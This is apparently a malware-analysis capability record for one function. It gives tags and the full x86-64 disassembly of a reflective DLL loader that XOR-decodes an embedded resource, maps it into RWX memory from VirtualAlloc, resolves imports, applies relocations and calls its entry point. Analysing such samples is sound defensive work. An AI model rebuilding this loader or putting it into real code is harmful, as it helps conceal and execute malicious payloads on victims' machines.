Function at 0x1800015b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov dword [rax + 8], 0
mov r9d, 0x409
lea rax, [rax + 8]
mov qword [rsp + 0x20], rax
lea r8, [0x18000de88]
mov edx, 0xa
mov rcx, qword [0x180012390]
call fcn.1800011e0
mov rsi, rax
test rax, rax
je 0x180001586
mov rdx, rax
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x1800013c4
mov r8, rax
nop dword [rax]
movzx ecx, byte [rdx]
xor cl, 0x7b
add cl, 0x7b
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x1800013b0
lea rcx, vtable.dllloader.0
mov qword [rsp + 0x38], rcx
mov r13, qword [0x180012390]
mov qword [rsp + 0x40], r13
test eax, eax
je 0x180001582
movsxd r12, dword [rsi + 0x3c]
add r12, rsi
mov edx, dword [r12 + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
movzx ebx, word [r12 + 6]
mov r8d, 0x400
mov rdx, rsi
mov rcx, rax
call fcn.1800064b0
mov rax, rbx
test ebx, ebx
jle 0x18000144e
lea rbx, [r12 + 0x11c]
mov rdi, rax
nop
mov r8d, dword [rbx - 4]
mov edx, dword [rbx]
add rdx, rsi
mov ecx, dword [rbx - 8]
add rcx, rbp
call fcn.1800064b0
add rbx, 0x28
sub rdi, 1
jne 0x180001430
cmp dword [r12 + 0x50], 0
jbe 0x180001582
movsxd rax, dword [rbp + 0x3c]
mov esi, dword [rax + rbp + 0x90]
add rsi, rbp
movabs r12, 0x8000000000000000
mov eax, dword [rsi + 0x10]
test eax, eax
jne 0x18000147d
cmp dword [rsi], eax
je 0x1800014e2
mov ecx, dword [rsi + 0xc]
add rcx, rbp
lea rbx, [rbp + rax]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1800014d6
cmp qword [rbx], 0
je 0x1800014dc
nop dword [rax]
mov rcx, qword [rbx]
test r12, rcx
je 0x1800014b9
movzx edx, cx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
jmp 0x1800014ca
lea rdx, [rcx + rbp + 2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
add rbx, 8
cmp qword [rbx], 0
jne 0x1800014a0
jmp 0x1800014dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsi, 0x14
jmp 0x180001472
movsxd rax, dword [rbp + 0x3c]
mov r11, qword [rax + rbp + 0x30]
sub r11, rbp
mov r10d, dword [rax + rbp + 0xb0]
add r10, rbp
cmp dword [r10], 0
je 0x180001568
mov ebx, 0xf000
mov edi, 0xa000
mov esi, 0xfff
nop
lea r9, [r10 + 8]
mov r8d, dword [r10 + 4]
sub r8, 8
shr r8, 1
test r8d, r8d
je 0x18000155b
nop word [rax + rax]
dec r8d
movzx ecx, word [r9]
movzx eax, cx
and ax, bx
cmp ax, di
jne 0x180001552
and cx, si
movzx ecx, cx
mov edx, dword [r10]
add rcx, rbp
sub qword [rdx + rcx], r11
add r9, 2
test r8d, r8d
jne 0x180001530
mov eax, dword [r10 + 4]
add r10, rax
cmp dword [r10], 0
jne 0x180001510
movsxd rax, dword [rbp + 0x3c]
mov r9d, dword [rax + rbp + 0x28]
add r9, rbp
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, r13
call r9
nop
xor eax, eax
jmp 0x180001588
xor eax, eax
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
cmp edx, 1
je 0x1800015bb
mov eax, 1
ret
mov qword [0x180012390], rcx
jmp 0x180001340